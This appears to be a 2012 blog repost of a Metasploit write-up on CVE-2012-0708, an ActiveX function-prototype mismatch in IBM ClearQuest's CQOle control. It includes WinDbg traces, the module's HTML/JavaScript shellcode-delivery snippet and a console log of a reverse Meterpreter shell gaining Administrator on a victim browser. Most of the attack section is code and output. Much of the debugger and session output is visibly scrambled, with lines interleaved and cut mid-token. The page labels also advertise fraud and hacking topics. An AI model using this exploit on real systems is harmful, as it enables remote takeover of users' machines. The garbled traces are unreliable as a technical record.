It isn't Always about Buffer Overflow

People often refer to exploits as your good old buffer overflows, but that's not always the case, as there are so many different types of vulnerabilities out there waiting to be found.  One exploit in particular, is the IBM Rational ClearQuest -- CVE-2012-0708 -- which we've recently added to the Metasploit Framework.  This module exploits afunction prototype mismatch flaw in IBM's CQOle ActiveX control, discovered by Andrera Micalazzi aka rgod, and we figured the details are worth sharing.

The problem arises when you try to call the RegisterSchemaReporFromFileByDbSet from the ClearQuestOleServer.Session control (clsid 94773112-72E8-11D0-A42E-00A024DED613), and it has the following prototype:

  1. Function RegisterSchemaRepoFromFileByDbSet (ByVal dbset  As String , ByVal filePath  As String)  As String  

Really the RegisterSchemaRepoFromFile is going to be called, where the prototype is slightly different:

  1. Function RegisterSchemaRepoFromFile (ByVal filePath  As String)  As String  

There is a difference between these two separate functions. Even though they both are responsible for cleaning the arguments from the stack, the rets are different:

  • RegisterSchemaRepoFromFileByDbSet: retn 8
  • RegisterSchemaRepoFromFile: retn 4

With this in mind, let's review what happens at the assembler level when RegisterSchemaRepoFromFileByDbSet is called (from javascript as sample):

  • Because of the function prototype mismatch the similar function RegisterSchemaRepoFromFile (and not RegisterSchemaRepoFromFileByDbSet) is called:

Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=06bf5cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0         nv up ei pl nz na pe nc
MFC80U!_AfxDispatchCall+0xe: 78371062 ffd0            call    eax {cqole!OAdS
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ession::RegisterSchemaRepoFromFile (3190b1a0)}

  • But there are two arguments on the stack! The ones from RegisterSchemaRepoFromFileByDbSet!

0:000> dd /c1 esp L2
0013e204  0615b450
0:000> du 0615b
0013e208  0615b470 450
0:000> du 0615b470
0615b450  "dbset value
"0615b470  "filePath value"

  • The ret from RegisterSchemaRepoFromFile is hit and it is going to clean just one argument even when there are still two arguments (pointers) on the stack:

0:000> g
(d7c.b54): C++ EH exception - code e06d7363 (first chance)
Breakpoint 1 hit
00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c eip=3190b5d9 esp
eax=01dae7cc ebx ==0013e200 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
  efl=00000202 cqole!OAdSession::RegisterSchemaRepoFromFile+0x439: 3190b5d9 c
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            20400          ret     4 0:000> dd /c1 esp L3 0013e200  78371064 0013e204  0615b450 0013e208  0615b470 0:000> du 0615b450
0615b450  "dbset value" 0:000> du 0615b470
0615b470  "filePath value"

  • Since the callee (RegisterSchemaRepoFromFile) has not cleaned the two arguments from the stack it is going be misaligned. Once back on MFC80U!_AfxDispatchCall its ret is reached with the stack misaligned and ESP pointing to the second argument of the intended RegisterSchemaRepoFromFileByDbSet call:

0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
MFC80U!_AfxDispatchCall+0x10: 78371064 c3              ret 0:000> dd /c1 e
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 sp L2 0013e208  0615b470
ue"
0013e20c  7835f5d2 // It is in fact the legit ret address 0:000> du 0615b470 0615b470  "filePath va
l

  • And there is where ret from MFC80U!_AfxDispatchCall tries to redirect EIP

0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
0615b470 66006900        add     byte ptr [ecx],ch          ds:0023:a265eb6f=
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ?? 0:000> db eip
61 00 6c 00-75 00 65 00 00 00 2e 00   .v.a.l.u.e.....
0615b470  66 00 69 00 6c 00 65 00-50 00 61 00 74 00 68 00  f.i.l.e.P.a.t.h. 0615b480  20 00 76 00

  • The result with an string like the one before ("filePath value") is a crash when it is tried to be interpreted as code:

0:000> g
(d7c.b54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
0070001 esi=0013e200 edi=0000000c eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx= 0=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
0615b470 66006900        add     byte ptr [ecx],ch          ds:0023:a265eb6f=??

With this explanation in mind, exploitation without DEP is straightforward, just call to RegisterSchemaRepoFromFileByDbSet with an string containing the shellcode as second argument:

  1. js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))  
  2. object_id = rand_text_alpha(rand(8) + 4)  
  3. dbset_value = rand_text_alpha(rand(8) + 4)  
  4. var_payload = rand_text_alpha(rand(8) + 4)  
  5. html = <<-EOS  
  6.   
  7.   
  8. '#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'>  
  9. "JavaScript">  
  10. var #{var_payload} = unescape("#{js_code}")  
  11. #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});  
  12.   
  13.   
  14.   
  15. EOS  

And then of course, we finish off the vulnerability with a shell:

msf  exploit(clear_quest_cqole) > exploit
[*] Exploit running as background job.
157:4444 [*] Using URL:
[*] Started reverse handler on 192.168.1
[*] Server started.
msf  exploit(clear_quest_cqole) >
[*] 192.168.1.133    clear_quest_cqole - 192.168.1.133:2340 - Sending html
[*] Sending stage (752128 bytes) to 192.168.1.133
4 -> 192.168.1.133:2341) at 2012-07-08 20:41:23 +0200 [*] Session ID 3 (192.168.1.157:4444 -> 192.168
[*] Meterpreter session 3 opened (192.168.1.157:44 4.1.133:2341) processing InitialAutoRunScript 'migrate -f' [*] Current server process: IEXPLORE.EXE (3380) [*] Spawning notepad.exe process to migrate to
                 Infor
[+] Migrating to 4028 [+] Successfully migrated to process msf  exploit(clear_quest_cqole) > sessions Active sessions ===============   Id  Type   mation                                      Connection   --  ----                   -----------                                      ----------  
t(clear_quest_cqole) > sessions -i 3 [*] Starting interaction with 3... meterpreter > getuid Server username: JUAN-C0DE875735\
3   meterpreter x86/win32  JUAN-C0DE875735\Administrator @ JUAN-C0DE875735  192.168.1.157:4444 -> 192.168.1.133:2341 (192.168.1.133) msf  explo iAdministrator
meterpreter &gt ;

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.


COMMENTS

Name

©2012 Oceninfo.co.cc,2,10:29 IST,1,2012,1,Adfly Bot,2,AFCEH,1,Ajax security,1,all posts for education purpose only...www.facebook.com/princebhalani,1,Android,1,android developer,1,android phone,1,android phone-1,1,anonymous email,1,Anti-Trojan software,8,Antivirus,1,Apple,1,article marketing,1,at risk,1,attacks,1,australian federal police,1,Auto Clicker,1,Auto surfer,1,backtrack link,2,Bank Hacking,2,BCMSN,2,BIOS Update,1,Blockchain,1,Blog and tagged Ransomware,1,boot fast...,1,boot xp faster,1,Business Deals,1,Bypass Antivirus and Hack Window Systems,1,CCIE,2,CCNA,2,CCNP,2,CEH,2,challenge-response system,1,Changing Root Bridge Election Results,2,code,2,commands,1,company deals,1,Computer Hacking,3,Connect,1,cookie stealing,3,Country,1,Crack,1,Credit Card Fraud,2,credit cards,1,Cryptography,1,cyber cell updated,1,cyber security,1,DATA CARD TRICK,1,delhi,1,Digital Marketing,1,direct admission in any colleges,2,Direct Link,3,Directory Traversal Attacks,1,Dos and Ddos,1,DotNetNuke Remote File Upload Vulnerability,1,Earn Lots of money,3,EARN MONEY PART2,1,earnings in$,1,email hacking,4,email spoofing,2,Er Prince Bhalani jobs,1,Ethical Hacker job,1,ethical hacking,8,exploit,1,facebook autoliker,1,Facebook tricks,3,Fake Mail,1,fake sms,1,FB hackz,1,FBI,1,FBI HACKERS,2,FBI Jobs,2,featured,6,Finger scan,1,fingerprint Hacking,1,format without pain,1,Free Download,1,Free Flash Templates,1,free hacking book,5,Free Recharge,1,free sms,2,Freebeacon,1,friendship day,2,friendship day image,2,friendship image,1,Future Computer,2,future of hacking,1,Gadgets,1,good clean fun,1,google,3,Google Ads,1,google adsense account,1,Google hacking,3,google hacks,1,google search,1,hack,2,hack the world,2,HACK WEBSITES USING SQL INJECTION,2,hacker,1,hacker uni,1,hacker/LPT/etc,1,hackers,2,Hackerz info,1,hacking,4,hacking games,1,hacking matterial,1,HACKING OFER,1,hacking softwares,1,hacking tools,2,Hacking with Mobile phones,1,HackingTeacher Security Solutions,1,hacks,1,hijack,1,history of hacking,1,How to,8,How to Hack,37,how to play,1,How to sniff,1,html,1,HTTPS/SSL secured sites,1,I LOVE YOU VIRUS,1,i-phone hacking,1,ICITAM 2012,1,iCloud Era,1,In Flow,1,indian cyber cell,4,information security,1,interesting,1,inurl:fcklinkgallery.as,1,IP hacks,1,iphone,1,IT Act,1,IT Decision Maker,1,IT Implem_App/LOB Spec,1,IT Implem_Desktop/EndUser Spec,1,IT Implem_Infrastructure Spec,1,IT Implem_IT Generalist and IT Manager.,1,it security,1,java,1,jobs for ethical hacker,3,jobs in hacking,5,Joe job,1,Just for education purpose only,1,Kaspersky,1,kaspersky crack 2013,1,keyboard hacking,1,keyloggers,1,keywords,1,Laptop Tracking,1,Laws of computer crime,1,Learn Cracking,1,Learn Website Hacking,7,Linkbucks Bot,1,Macromedia Flash,1,make some rules...|||_|||,1,malicious code,1,Malware,1,malware analysis,1,man in the middle attack (LAN),1,master,1,master list,1,metasploit,3,Microsoft scams,1,mobile,1,mobile recharge,1,moblie phone hacking,1,munging,1,network hack,1,Network Sniffers,1,new command set,1,new projects,1,nmap,1,No Survey,1,not infrequent,1,online scanners,1,paisa live hack,1,panetration for educational purpose only,1,Parental Controls,1,password hacking,4,Password sniffing with arp poisoning,1,PC TIPS,1,PE_PARITE (Trend Micro),1,penetration testing,1,pharming,1,phishing,1,phone hacking charged,1,PHP,1,pin ball,1,Play WMV Files,1,Press Trust of India / New Delhi Aug 15,1,Prime minister,1,prince bhalani,1,princebhalani,1,Professional job in FBI,1,Professional Penetration Testing,1,Programming,1,Programming of virus,2,protect my pc against hackin,1,proxy list by http,1,Proxy SOCKS Port,1,R-Admin With Key,1,Radmin,1,RAW Jobs,1,Real Hackers vs fake ethical hackers. ..:),1,Register of Known Spam Operations (ROKSO),1,repair corrupt hard disk,1,RFT,1,Robbery,1,Rupert Murdoch,1,SAMPLE,1,Sample dynamic flash template from TM website,1,Scams,2,Scanned Vulnerabilities,1,SEA,2,search engine hacking,1,Search Operators,1,Security,2,Security breach,1,security code brack,1,SEM,4,SEO,112,SEO Mistakes,1,SEO TOOLS,1,SEO Tricks,3,SERM,1,SERP,1,Session Hijacking,4,SET,1,shell commands...,1,shell list with download,1,SITES,1,Smart Home,1,Smartphones,1,SMM,1,SMO,2,sms spoofing,1,SMTP Servers,1,Sniffing passwords,1,Sothink SWF Decompiler,1,spam cocktail (or anti-spam cocktail),1,spam trap,1,spear phishing,2,SQL hacking,2,SQL Injection Attacks by Example,2,SSL,1,SSL Analysis,1,starting of help,1,System Information,1,System Restore,1,Tablet in 1000,1,Tablets,1,Temporary Email Service,1,time need,1,timer,1,tracing,1,Traffic,3,tricks,5,Tricks and Tips,1,Trojan,1,Trojan tools,1,Trojans and Backdoors,2,trojon,7,Turbo C++,1,UK phone hacking,1,UK phone hacking arrest,1,USA JOBS,4,Virus,2,virus writing,2,VPN,1,vulnerabilities,1,vulnerability assessment,1,W32/Pate (McAfee),1,W32/Pinfi (Symantec),1,Washington,2,web hacking,6,web security,1,Website Development,1,Website Hacking,3,White House,1,wifi hacking,3,Win32 : parite (Avast),1,Win32.Parite (Kaspersky),1,Win32/Parite,1,windows,2,Windows 8 event for IT Professionals,1,wirless hack,1,WordPress,1,WordPress hacking,1,working with Virus and worm,9,XP Hacking,1,xp hacking-1,1,XP part 3,1,xss hacking,1,
ltr
item
Group Of Oceninfo: It isn't Always about Buffer Overflow
It isn't Always about Buffer Overflow
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU6y3np4BjkPIthN-8GpN11oX_TOVadYntBz-WXc4OtJV_3hWya8OxUOSBeQoubU-GxhTKSiJwF75OHPL4mITLp_bsDcLgNFY0QsQy0NKUeyx3MqR69SB8x6Ajo5MTtAf_V_g8I-vFqI5/s320/metasploit-logo.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU6y3np4BjkPIthN-8GpN11oX_TOVadYntBz-WXc4OtJV_3hWya8OxUOSBeQoubU-GxhTKSiJwF75OHPL4mITLp_bsDcLgNFY0QsQy0NKUeyx3MqR69SB8x6Ajo5MTtAf_V_g8I-vFqI5/s72-c/metasploit-logo.png
Group Of Oceninfo
https://oceninfo.blogspot.com/2012/07/it-isnt-always-about-buffer-overflow.html
https://oceninfo.blogspot.com/
https://oceninfo.blogspot.com/
https://oceninfo.blogspot.com/2012/07/it-isnt-always-about-buffer-overflow.html
true
6415817773321450103
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy